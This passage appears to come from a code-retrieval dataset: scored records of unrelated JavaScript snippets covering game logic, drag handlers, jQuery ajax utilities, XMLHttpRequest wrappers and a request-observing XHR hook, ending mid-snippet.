if(global.variables.pieces[recent_move_attr1].type.slice(0,1)=='w'){\n\n if(global.variables.pieces[recent_move_attr2].captured==true){\n\n global.variables.b_captured_iteration--;\n $(\"#b_captured_piece\"+global.variables.b_captured_iteration).html(''); \n global.variables.pieces[recent_move_attr2].captured=false;\n }\n \n }else if(global.variables.pieces[recent_move_attr1].type.slice(0,1)=='b'){\n\n if(global.variables.pieces[recent_move_attr2].captured==true){\n\n global.variables.w_captured_iteration--;\n $(\"#w_captured_piece\"+global.variables.w_captured_iteration).html(''); \n global.variables.pieces[recent_move_attr2].captured=false;\n \n }\n\n }\n\n }\n global.variables.highlighted=[];\n endturn();\n }\n \n }", "title": "" }, { "docid": "7d625940605cf76fe22e746a4611c5e3", "score": "0.46611533", "text": "function getDrag() {\n\t\t\n\t\t\n\t\t\t\tvar parent = dndMc.correctbtn.parent;\n\t\t\t\tvar keys = Object.keys(parent);\n\t\t\t\tvar len = keys.length;\n\t\t\n\t\t\t\twhile (--len) {\n\t\t\n\t\t\n\t\t\t\t\tif (keys[len].slice(1, 4) == (\"dnd\")) {\n\t\t\n\t\t\n\t\t\n\t\t\t\t\t\tparent[keys[len]].name = keys[len];\n\t\t\n\t\t\t\t\t\tparent[keys[len]].regX = parent[keys[len]].width / 2;\n\t\t\t\t\t\tparent[keys[len]].regY = parent[keys[len]].height / 2;\n\t\t\n\t\t\t\t\t\tparent[keys[len]].startx = parent[keys[len]].x;\n\t\t\t\t\t\tparent[keys[len]].starty = parent[keys[len]].y;\n\t\t\n\t\t\t\t\t\tdraggedArray.push(parent[keys[len]]);\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\t\t\t} else if (keys[len].slice(1, 4) == (\"trg\")) {\n\t\t\n\t\t\t\t\t\tnumOfDND++;\n\t\t\n\t\t\t\t\t\tparent[keys[len]].name = keys[len];\n\t\t\t\t\t\tparent[keys[len]].regX = parent[keys[len]].width / 2;\n\t\t\t\t\t\tparent[keys[len]].regY = parent[keys[len]].height / 2;\n\t\t\n\t\t\t\t\t\tdropArray.push(parent[keys[len]]);\n\t\t\t\t\t}\n\t\t\n\t\t\n\t\t\t\t}\n\t\t\n\t\t\t}", "title": "" }, { "docid": "c0a62f84ac1df84e6f397256aa154542", "score": "0.46562475", "text": "function command(input){\n\tswitch(input){\n\t\tcase 'read':\n\t\t\tapp.readFile();\n\t\t\tbreak;\n\t\tcase 'write':\n\t\t\tapp.writeFile(app.alterFile(app.readFile()));\n\t\t\tbreak;\n\t\tcase 'clear':\n\t\t\tapp.clearFile();\n\t\t\tbreak;\n\t\tdefault: \n\t\t\tconsole.log(\"Please enter \\\"read\\\" \\\"write <burgerjoint>\\\" or \\\"clear\\\" \");\n\t}\n}", "title": "" }, { "docid": "c00ea6f7f4171e356afeacda7f0a1beb", "score": "0.46529222", "text": "endDrag(x, y) {}", "title": "" }, { "docid": "9dcbf2addad9a4e0e05faa106f19f882", "score": "0.46508604", "text": "static set compositionCursorPos(value) {}", "title": "" }, { "docid": "614b32e6a2e52f0cc8e4a0982db242d4", "score": "0.46507066", "text": "function part1(cmd){\n //check line for rect/rotate\n if(cmd.split(' ')[0] === 'rect'){\n makeRect(cmd);\n }\n else if(cmd.split(' ')[1] === 'column'){\n shiftColumn(cmd);\n }\n else{\n shiftRow(cmd);\n } \n} //end part1", "title": "" }, { "docid": "47b3b36feecda2f1428e3665fb0f6fa0", "score": "0.46491146", "text": "function collectbomb(player,bomb){\n bomb.destroy();\n clearTimeout(bombdes);\n clearTimeout(poweruptexttimeout);\n \n poweruptext.setText('Bullet++');\n poweruptext.setTint(0x00ffff);\n poweruptexttimeout = setTimeout(function(){\n poweruptext.setText('');\n },8000)\n powerupcount -= 1;\n bulletdelay = 50;\n setTimeout(function(){\n bulletdelay = 200;\n },8000);\n}", "title": "" }, { "docid": "6655abdced989e4cfcceab03ceeca8ac", "score": "0.4646983", "text": "constructor(posx, posy, w, h){\r\n this.posx = posx;\r\n this.posy = posy;\r\n this.w = w;\r\n this.h = h;\r\n this.editMode = false;\r\n //this.noteArr = ['305', '406', '213', '201', '303', '401', '211'];\r\n this.noteArr = ['100', '200', '300', '100', '200', '300', '200', '400'];\r\n this.noteArrCopy = this.noteArr.slice(0, this.noteArr.length);\r\n this.noteArrIndex = 0;\r\n this.editIndex = null;\r\n this.noteStr = '';\r\n this.outlet = {\r\n x : this.posx + this.w * 0.4,\r\n y : this.posy,\r\n radius : 10,\r\n dragged : false\r\n };\r\n\r\n this.editButton = {\r\n x : this.posx - this.w * 0.4,\r\n y : this.posy - this.h * 0.45,\r\n radius : 10\r\n }\r\n\r\n this.editBPMButton = {\r\n x : this.posx - this.w * 0.4,\r\n y : this.posy + this.h * 0.45,\r\n radius : 10\r\n }\r\n this.connectedSynthArr = [];\r\n\r\n this.editBPMMode = false;\r\n this.bpm = 120;\r\n this.bpmCopy = this.bpm;\r\n this.bpmStr = '';\r\n this.nthFrame = int(3600 / this.bpm);\r\n this.sentNewFreq = false;\r\n }", "title": "" }, { "docid": "cc22b5e87c9558f599302aa114092b7c", "score": "0.46435398", "text": "function brushed() {\n // copy the data contained in the old window\n var data = [self.displayArea.select(\"rect.extent\").datum()];\n\n // snap to grid math\n var extent = brush.extent();\n var p1 = self.options.totPixelSize;\n var p8 = self.options.totPixelSize * 8;\n extent[0][0] = p1 * Math.round(extent[0][0] / p1) + self.options.offsetSize;\n extent[0][1] = p8 * Math.round(extent[0][1] / p8) + self.options.offsetSize;\n extent[1][0] = Math.max(p1 * Math.round(extent[1][0] / p1), extent[0][0] + p1 - self.options.offsetSize);\n extent[1][1] = Math.max(p8 * Math.round(extent[1][1] / p8), extent[0][1] + p8 - self.options.offsetSize);\n\n if (extent[1][0] >= self.size.width) {\n extent[0][0] -= p1;\n extent[1][0] -= p1;\n }\n if (extent[1][1] >= self.size.height) {\n extent[0][1] -= p8;\n extent[1][1] -= p8;\n }\n\n // apply snap\n d3.select(this).transition()\n .each(\"end\", function () {\n if (stop) {\n self.stopEditWindow();\n }\n })\n .call(brush.extent(extent));\n\n\n // append the data in the new window\n self.displayArea.select(\"rect.extent\")\n .data(data)\n .enter()\n .append(\"rect\");\n\n var message = $(\".message\");\n\n message.attr(\"transform\", function () {\n return \"translate(\" + brush.extent()[0][0] + \",\" + brush.extent()[0][1] + \")\";\n });\n\n message.find(\".char\").each(function () {\n var c = $(this);\n var cx = parseFloat(c.attr(\"dx\"));\n var cy = parseFloat(c.attr(\"dy\"));\n c.attr(\"transform\", \"translate(\" + cx + \",\" + cy + \")\");\n });\n }", "title": "" }, { "docid": "c31c82fa6069875e775442f27a978403", "score": "0.4642808", "text": "function mouseUp(e) {\n\twindow.removeEventListener('mousemove', drag);\n\t//get position\n}", "title": "" }, { "docid": "8ba8b9fd4c342f0ddf1ea0b4cf973e98", "score": "0.4641149", "text": "function moveDown(times) {\n for (let k = 0; k < times; k++) {\n dispatch('advanced-open-file:move-cursor-down');\n }\n }", "title": "" }, { "docid": "41a652c2ca555c0a604d23cb65793ef4", "score": "0.46338654", "text": "function onKanbanBoardDragend(e) { \n // Eliminar la variable auxiliar \n if(hideMe) \n hideMe = null; \n}", "title": "" }, { "docid": "a87423087cde5a15f1c888ee23de576a", "score": "0.46334046", "text": "function movedown() {\n // erases previous position\n undraw();\n // increases base position\n currentPosition += width;\n // draw tetromino in new position \n draw();\n // check if it hit the bottom and freezes it \n freeze();\n \n }", "title": "" }, { "docid": "27b5dd9bf7fc69ddc883e158c51e6918", "score": "0.46325693", "text": "function shellInvalidCommand()\n{\n _StdIn.displayTextOnNewLine(\"Invalid Command. \");\n if (_SarcasticMode)\n {\n _StdIn.displayTextOnNewLine(\"Duh. Go back to your Speak & Spell.\");\n }\n else\n {\n _StdIn.displayTextOnNewLine(\"Type 'help' for, well... help.\");\n }\n}", "title": "" }, { "docid": "e4e7e7331350426037479073587588bc", "score": "0.46259308", "text": "function checkPosition() {\n const guac = document.getElementById('guacamole');\n\n let rect = guac.getBoundingClientRect();\n let rectTop = rect.top;\n let rectBottom = rect.bottom;\n\n if(rectTop >= -110 && rectBottom <= 780) {\n slideChange(0);\n window.removeEventListener('scroll', checkPosition);\n window.removeEventListener('resize', checkPosition);\n };\n}", "title": "" }, { "docid": "3eb642d8e76e52ecccb7408d5904c6b6", "score": "0.46241033", "text": "constructor() {\n this.commandArr = [];\n this.comStr = [];\n this.line_x = 0;\n this.arrowCnt = 0;\n this.arrowTrigger = false;\n this.tabTrigger = false;\n }", "title": "" }, { "docid": "05c86d8f4fce6b668060e52b1c73872a", "score": "0.4621391", "text": "function boutonDroit(e) {\n if (window.event)\n return (window.event.button==2);\n else\n return (e.which==3);\n} // fin boutonDroit(e)", "title": "" }, { "docid": "e42d5fa4d0c8f55ce47b39d4be952593", "score": "0.46182328", "text": "resetPos(){ //metoda resetujaca pozycje obiektu\n this.y = obszar1.height-20;\n }", "title": "" }, { "docid": "d25c2736c758e6ce409b9648473c6ec0", "score": "0.46178105", "text": "function playheadTrimEnd() {\r\n\r\n ErrStrs = {}; \r\n ErrStrs.USER_CANCELLED=localize(\"$$$/ScriptingSupport/Error/UserCancelled=User cancelled the operation\");\r\n try {\r\n var idmoveOutTime = stringIDToTypeID( \"moveOutTime\" );\r\n var desc14 = new ActionDescriptor();\r\n executeAction( idmoveOutTime, desc14, DialogModes.NO );\r\n\r\n // Allows for cancel without feedback message\r\n } catch (e) {\r\n if (e.toString().indexOf(ErrStrs.USER_CANCELLED) != -1) {;}\r\n else {alert(localize(\"$$$/ScriptingSupport/Error/CommandNotAvailable=The command is currently not available\"));}\r\n }\r\n}", "title": "" }, { "docid": "660049deea63238a51d5df4a95d57821", "score": "0.46152964", "text": "worldeditDrag() {\n\t\tlet mouseStart = [0, 0];\n\t\tlet holding = false;\n\t\tlet pos = [0, 0];\n\t\tlet currentPos = [0, 0];\n\t\tlet moveEvery = 30;\n\t\tlet movement = 0;\n\n\t\tthis.editView.world.addEventListener(\"mousedown\", (event) => {\n\t\t\tif (this.editView.mode == \"drag\") {\n\t\t\t\tholding = true;\n\t\t\t\tmouseStart = [event.clientX, event.clientY];\n\t\t\t\tthis.editView.world.style.cursor = \"grabbing\";\n\n\t\t\t\tpos = this.editView.world.style.transform.split(\", \");\n\t\t\t\tpos[0] = parseInt(pos[0].split(\"(\").pop());\n\t\t\t\tpos[1] = parseInt(pos[1]);\n\t\t\t\tthis.editView.world.style.transform = `translate(${pos[0]}px, ${pos[1]}px)`;\n\t\t\t}\n\t\t});\n\n\t\tthis.editView.world.addEventListener(\"mousemove\", (event) => {\n\t\t\tif (holding && this.editView.mode == \"drag\" && movement == 0) {\n\t\t\t\tcurrentPos = [pos[0] + event.clientX - mouseStart[0], pos[1] + event.clientY - mouseStart[1]];\n\t\t\t\tthis.editView.world.style.transform = `translate(${currentPos[0]}px, ${currentPos[1]}px)`;\n\t\t\t}\n\t\t\tmovement = movement < moveEvery ? movement + 1 : 0;\n\t\t});\n\n\t\tdocument.addEventListener(\"mouseup\", () => {\n\t\t\tif (holding) {\n\t\t\t\tholding = false;\n\t\t\t\tthis.editView.world.style.cursor = \"grab\";\n\t\t\t\tpos = [currentPos[0], currentPos[1]];\n\t\t\t}\n\t\t});\n\t}", "title": "" }, { "docid": "f87115643611828ba2d0f8523584de20", "score": "0.46138635", "text": "function displayCommands(input){\n return input.reply(\"The following commands you can use are: \" +\n \"\\n\"+\n \"!216 : will display 216 google drive link\"+\n \"\\n\"+\n \"!250 : will display 250 google drive link\"+\n \"\\n\"+\n \"!330 : will display 330 google drive link\"+\n \"\\n\"+\n \"!351 : will display 351 google drive link\"+\n \"\\n\"+\n \"!clear limit : will delete as many messages as the provided limit, \\n if no limit is provided then the last 100 messages will be deleted\"\n );\n}", "title": "" } ]
4eb2911929379309c22a6c5fddbed471
Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport
[ { "docid": "8c09df08629e6844fe8afaded1e201d1", "score": "0.0", "text": "function addToPrefiltersOrTransports( structure ) {\n\n\t// dataTypeExpression is optional and defaults to \"*\"\n\treturn function( dataTypeExpression, func ) {\n\n\t\tif ( typeof dataTypeExpression !== \"string\" ) {\n\t\t\tfunc = dataTypeExpression;\n\t\t\tdataTypeExpression = \"*\";\n\t\t}\n\n\t\tvar dataType,\n\t\t\ti = 0,\n\t\t\tdataTypes = dataTypeExpression.toLowerCase().match( core_rnotwhite ) || [];\n\n\t\tif ( jQuery.isFunction( func ) ) {\n\t\t\t// For each dataType in the dataTypeExpression\n\t\t\twhile ( (dataType = dataTypes[i++]) ) {\n\t\t\t\t// Prepend if requested\n\t\t\t\tif ( dataType[0] === \"+\" ) {\n\t\t\t\t\tdataType = dataType.slice( 1 ) || \"*\";\n\t\t\t\t\t(structure[ dataType ] = structure[ dataType ] || []).unshift( func );\n\n\t\t\t\t// Otherwise append\n\t\t\t\t} else {\n\t\t\t\t\t(structure[ dataType ] = structure[ dataType ] || []).push( func );\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t};\n}", "title": "" } ]
[ { "docid": "0250604b6d24cad53bebf0f06ce02db1", "score": "0.69922", "text": "_initializeAjaxPrefilters()\n {\n var that = this;\n $.ajaxPrefilter(function(options)\n {\n that._controllerAuthentication.ajaxPrefilter(options);\n that._controllerServer.ajaxPrefilter(options);\n });\n }", "title": "" }, { "docid": "afc48db8e8588ee62c27bdc64c37f515", "score": "0.60315865", "text": "function AjaxSniffer() {\n var self = this;\n\n // Properties\n this.hooked = false;\n this.listeners = [];\n\n // Privates\n function hook() {\n if (self.hooked)\n return;\n\n // Monkey patching the 'open' method\n XMLHttpRequest.prototype.open = before(\n XMLHttpRequest.prototype.open,\n function(method, url, async) {\n var xhr = this;\n\n // Overloading the xhr object\n xhr._spy = {\n method: method,\n url: url,\n params: artoo.parsers.url(url).query\n };\n }\n );\n\n // Monkey patching the 'send' method\n XMLHttpRequest.prototype.send = before(\n XMLHttpRequest.prototype.send,\n function(data) {\n var xhr = this;\n\n // Overloading the xhr object\n if (data) {\n xhr._spy.querystring = data;\n xhr._spy.data = artoo.parsers.queryString(data);\n }\n\n // Triggering listeners\n self.listeners.forEach(function(listener) {\n if (listener.criteria === '*')\n listener.fn.call(xhr, xhr._spy);\n });\n }\n );\n\n self.hooked = true;\n }\n\n function release() {\n if (!self.hooked)\n return;\n\n XMLHttpRequest.prototype.send = originalXhr.send;\n XMLHttpRequest.prototype.open = originalXhr.open;\n\n self.hooked = false;\n }\n\n // Methods\n this.before = function(criteria, callback) {\n\n // Polymorphism\n if (typeof criteria === 'function') {\n callback = criteria;\n criteria = null;\n }\n\n criteria = criteria || {};\n\n // Hooking xhr\n hook();\n\n // Binding listener\n this.listeners.push({criteria: '*', fn: callback});\n };\n\n this.after = function(criteria, callback) {\n\n // Polymorphism\n if (typeof criteria === 'function') {\n callback = criteria;\n criteria = null;\n }\n\n criteria = criteria || {};\n\n // Hooking xhr\n hook();\n\n // Binding a deviant listener\n this.listeners.push({criteria: '*', fn: function() {\n var xhr = this;\n\n xhr.addEventListener('load', function() {\n\n // Retrieving data as per response headers\n var contentType = xhr.getResponseHeader('Content-Type'),\n data = xhr.response;\n\n if (contentType && ~contentType.search(/json/)) {\n try {\n data = JSON.parse(xhr.responseText);\n }\n catch (e) {\n // pass...\n }\n }\n else if (contentType && ~contentType.search(/xml/)) {\n data = xhr.responseXML;\n } else {\n try {\n data = JSON.parse(xhr.responseText);\n } catch (e) {\n data = xhr.responseText;\n }\n }\n\n callback.call(xhr, xhr._spy, {\n data: data,\n headers: artoo.parsers.headers(xhr.getAllResponseHeaders())\n });\n }, false);\n }});\n };\n\n this.off = function(fn) {\n\n // Splicing function from listeners\n var index = artoo.helpers.indexOf(this.listeners, function(listener) {\n return listener.fn === fn;\n });\n\n // Incorrect function\n if (!~index)\n throw Error('artoo.ajaxSniffer.off: trying to remove an inexistant ' +\n 'listener.');\n\n this.listeners.splice(index, 1);\n\n // If no listeners were to remain, we release xhr\n if (!this.listeners.length)\n release();\n };\n }", "title": "" }, { "docid": "b0c84b00cad9991b90b8365ac2d2b678", "score": "0.6007933", "text": "function XHR() {}", "title": "" }, { "docid": "09bc72e0b04251296233f5689755093e", "score": "0.5909266", "text": "constructor(site, method) {\n this.ajax = new XMLHttpRequest();\n this.site = site;\n this.get_parameters = '';\n this.post_parameters = '';\n this.method = method;\n }", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "23f0c86d328059017db687ebf3b6f5c8", "score": "0.5829274", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "561b8ede817869859a1880447cfac990", "score": "0.5797885", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions || {};for(key in src) {if(src[key] !== undefined){(flatOptions[key]?target:deep || (deep = {}))[key] = src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "561b8ede817869859a1880447cfac990", "score": "0.5797885", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions || {};for(key in src) {if(src[key] !== undefined){(flatOptions[key]?target:deep || (deep = {}))[key] = src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "d487208bfae8bb143e738904f753902d", "score": "0.578924", "text": "function AJAXRequest(args) {\n this.async = $.defined(args.async, true);\n this.charset = $.defined(args.charset, \"utf-8\");\n this.contentType = $.defined(args.contentType, \"application/x-www-form-urlencoded\");\n this.data = $.defined(args.data, {});\n this.http = new XMLHttpRequest();\n this.http.request = this;\n this.method = $.defined(args.method, \"GET\");\n this.onError = args.onError;\n this.onConnect = args.onConnect;\n this.onNotFound = args.onNotFound;\n this.onProcess = args.onProcess;\n this.onRecvRequest = args.onRecvRequest;\n this.onSuccess = args.onSuccess;\n this.queryString = $.encodeQueryString(this.data);\n this.url = $.defined(args.url, \"/\");\n this.urlToOpen = (this.method === \"POST\") ? this.url : (this.url + \"?\" + this.queryString);\n }", "title": "" }, { "docid": "e6d1c60a94945cbbfea6dddc560af5a1", "score": "0.5787472", "text": "function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions||{};for(key in src){if(src[key]!==undefined){(flatOptions[key]?target:deep||(deep={}))[key]=src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "9c8e767694194ff04964d2c420742ac2", "score": "0.5760285", "text": "function ajaxExtend(target,src){var deep,key,flatOptions=jQuery.ajaxSettings.flatOptions || {};for(key in src) {if(src[key] !== undefined){(flatOptions[key]?target:deep || (deep = {}))[key] = src[key];}}if(deep){jQuery.extend(true,target,deep);}return target;}", "title": "" }, { "docid": "0548fa7582c31120b6d5833201877e2e", "score": "0.5711079", "text": "function AjaxPackedRequestBase(packer, unpacker, owner) {\r\n AjaxRequest.call(this, owner || this); // self owned - it is not used further in the pipeline anyway.\r\n this.$requestPacker = packer;\r\n this.$responseUnpacker = unpacker;\r\n\r\n }", "title": "" }, { "docid": "e318facade93bf125ccc0fd66bab6c93", "score": "0.569844", "text": "function Ajax() {\n\n var self = this;\n var name = \"Ajax\";\n\n self.logger = new Logger(name);\n\n /**\n * Encode key-value object into URI string\n *\n * @private\n * @param {Object/String} data Data to encode\n * @return {String} Encoded string\n */\n function encode(data) {\n var result = \"\";\n if (typeof data === \"string\") {\n result = data;\n } else {\n var e = encodeURIComponent;\n for (var i in data) {\n if (data.hasOwnProperty(i)) {\n if (Object.keys(data).indexOf(i) > 0) {\n result += \"&\";\n }\n result += e(i) + \"=\" + e(data[i]);\n }\n }\n }\n return result;\n }\n\n /**\n * Request method to do AJAX calls.\n * @param {String} method Request method. POST, GET, PUT, DELETE etc.\n * @param {String} url Url to make request\n * @param {Object} data Data to send\n * @return {Ctl.Promise} p\n */\n function request(method, url, data, headers, encodeData) {\n var p = new Promise(), timeout;\n encodeData = (encodeData === null || typeof encodeData === 'undefined') ? true : encodeData;\n\n self.logger.time(method + \" \" + url);\n (function(xhr) {\n xhr.onreadystatechange = function() {\n if (this.readyState === 4) {\n self.logger.timeEnd(method + \" \" + url);\n clearTimeout(timeout);\n if (this.status === 200) {\n p.done(null, this);\n }\n if ((this.status >= 400 && this.status <= 451) || (this.status >= 500 && this.status <= 511)) {\n p.done(this, null);\n }\n }\n };\n xhr.onerror = function(response) {\n clearTimeout(timeout);\n p.done(response, null);\n };\n xhr.oncomplete = function(response) {\n clearTimeout(timeout);\n self.logger.timeEnd(method + \" \" + url);\n self.info(\"%s request to %s returned %s\", method, url, this.status);\n };\n xhr.open(method, url);\n xhr.responseType = 'json';\n if (headers) {\n for (var i = 0; i < headers.length; i++) {\n if (headers[i][1]) { xhr.setRequestHeader(headers[i][0], headers[i][1]); }\n }\n }\n timeout = setTimeout(function() {\n xhr.abort();\n p.done({ response: 'API Call timed out.'}, null);\n }, 3e4);\n //BACKLOG:0 stick that timeout in a config variable\n xhr.send(encodeData ? encode(data) : data);\n })(new XMLHttpRequest());\n return p;\n }\n\n\n this.request = request;\n\n /**\n * @method get Do AJAX GET request\n * @param {String} url Url to make request\n * @param {Object} data Data to send\n * @return {Ctl.Promise} p\n */\n this.get = partial(request, \"GET\");\n\n /**\n * @method post Do AJAX POST request\n * @param {String} url Url to make request\n * @param {Object} data Data to send\n * @return {Ctl.Promise} p\n */\n this.post = partial(request, \"POST\");\n\n /**\n * @method put Do AJAX PUT request\n * @param {String} url Url to make request\n * @param {Object} data Data to send\n * @return {Ctl.Promise} p\n */\n this.put = partial(request, \"PUT\");\n\n /**\n * @method delete Do AJAX DELETE request\n * @param {String} url Url to make request\n * @param {Object} data Data to send\n * @return {Ctl.Promise} p\n */\n this.delete = partial(request, \"DELETE\");\n }", "title": "" }, { "docid": "de1fe8485646b055da8a6226de84a3b2", "score": "0.5692284", "text": "function ajaxExtend(target,src){var key,deep,flatOptions=jQuery.ajaxSettings.flatOptions || {};for(key in src) {if(src[key] !== undefined){(flatOptions[key]?target:deep || (deep = {}))[key] = src[key];}}if(deep){jQuery.extend(true,target,deep);}}", "title": "" }, { "docid": "f109d64c9925032ee0ecf55a9b86b4b3", "score": "0.5687816", "text": "function ajxobj (url, method, dataType, data) {\n this.jxhr = $.ajax({\n url: url,\n method: method,\n dataType: dataType,\n data: data\n });\n }", "title": "" }, { "docid": "2382990689ace45d3995e045fe4462eb", "score": "0.566387", "text": "constructor() {\n super()\n // delegates request and respond\n this.delegates()\n }", "title": "" }, { "docid": "1843ddd916db77f823c684cfa083a283", "score": "0.5663219", "text": "function init() {\n if (window.XMLHttpRequest) {\n return new XMLHttpRequest();\n } else if (window.ActiveXObject) {\n return new ActiveXObject(\"Microsoft.XMLHTTP\");\n }\n }", "title": "" }, { "docid": "99e768c0f3ca9c3a5df3159a0b289760", "score": "0.5658222", "text": "function simpleAJAX() {\n this.http = new XMLHttpRequest();\n} // HTTP GET Request", "title": "" }, { "docid": "5f6f05bee5c32e529d0537b94559f8ab", "score": "0.5643307", "text": "_initRequest() {\n\t\tconst xhr = (this.xhr = new XMLHttpRequest());\n\n\t\txhr.open(\"POST\", this.url, true);\n\t\txhr.responseType = \"json\";\n\t}", "title": "" }, { "docid": "2456bfbb26d9120a897f066b6b0eecb8", "score": "0.56093", "text": "registerjQueryAjaxSetup() {\n if (typeof jQuery.ajax != 'undefined') {\n jQuery.ajaxPrefilter((options, originalOptions, xhr) => {\n if (this.socketId()) {\n xhr.setRequestHeader('X-Socket-Id', this.socketId());\n }\n });\n }\n }", "title": "" }, { "docid": "2456bfbb26d9120a897f066b6b0eecb8", "score": "0.56093", "text": "registerjQueryAjaxSetup() {\n if (typeof jQuery.ajax != 'undefined') {\n jQuery.ajaxPrefilter((options, originalOptions, xhr) => {\n if (this.socketId()) {\n xhr.setRequestHeader('X-Socket-Id', this.socketId());\n }\n });\n }\n }", "title": "" }, { "docid": "559f8464e11066b12cdde4bddc1e2497", "score": "0.559358", "text": "function EBX_Ajax() {\n\tvar onXMLHttpRequest = false;\n\n\tvar finished = true;\n\tvar onTargetObject = null;\n\n\tthis.setFinished = function(hasFinished) {\n\t\tfinished = hasFinished;\n\t};\n\n\tthis.hasFinished = function() {\n\t\treturn finished;\n\t};\n\n\tthis.setReadyStateChangeObject = function(anObject) {\n\t\tif (!anObject instanceof EBX_AbstractAjaxResponseManager) {\n\t\t\tEBX_Logger.log(\"EBX_Ajax.setReadyStateChangeObject: Given object must implement Javascript prototype [EBX_AbstractAjaxResponseManager]\",\n\t\t\t\t\tEBX_Logger.error);\n\t\t\treturn;\n\t\t}\n\t\tonTargetObject = anObject;\n\t};\n\n\tthis.execute = function(anUrl) {\n\t\tthis.setFinished(false);\n\t\tif (onTargetObject === null) {\n\t\t\treturn;\n\t\t}\n\n\t\tif (window.XMLHttpRequest) {\n\t\t\ttry {\n\t\t\t\tonXMLHttpRequest = new XMLHttpRequest();\n\t\t\t} catch (e) {}\n\t\t} else if (window.ActiveXObject) {\n\t\t\ttry {\n\t\t\t\tonXMLHttpRequest = new ActiveXObject(\"Msxml2.XMLHTTP\");\n\t\t\t} catch (e) {\n\t\t\t\ttry {\n\t\t\t\t\tonXMLHttpRequest = new ActiveXObject(\"Microsoft.XMLHTTP\");\n\t\t\t\t} catch (e) {}\n\t\t\t}\n\t\t}\n\n\t\tif (!onXMLHttpRequest) {\n\t\t\treturn false;\n\t\t}\n\n\t\tonXMLHttpRequest.abort();\n\n\t\tonXMLHttpRequest.onreadystatechange = function() {\n\t\t\tif (onXMLHttpRequest.readyState == 4) {\n\t\t\t\tvar status = 400;\n\t\t\t\ttry {\n\t\t\t\t\tstatus = onXMLHttpRequest.status;\n\t\t\t\t} catch (e) {}\n\t\t\t\tswitch (status) {\n\t\t\t\t\tcase 200:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onReadyStateChangeFunction();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t// The real timeout code is 408 but Mozilla don't manage it correctly (do retry...).\n\t\t\t\t\t// The \"Unauthorized\" response code is not so far from a Timeout in this context.\n\t\t\t\t\t// (ex: \"Request unauthorized because of session timeout\")\n\t\t\t\t\tcase 401:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onManageTimeoutResponse();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t\t//Case of obsolete AJAX request. => do nothing\n\t\t\t\t\tcase 204:\n\t\t\t\t\t\tbreak;\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tif (onTargetObject) {\n\t\t\t\t\t\t\tonTargetObject.onManageErrorResponse();\n\t\t\t\t\t\t}\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\t// Mantis #6349: POST method in ajax requests.\n\t\t// GET\n\t\t/*\n\t\tonXMLHttpRequest.open(\"GET\", anUrl, true);\n\t\t//Prevent IE from getting back request response from cache...Force request revalidation.\n\t\tonXMLHttpRequest.setRequestHeader(\"If-Modified-Since\", \"Tue, 29 Nov 1966 20:50:00 GMT\");\n\t\tonXMLHttpRequest.send(\"\");\n\t\tEBX_Logger.log(\"EBX_Ajax.execute: Request send at url 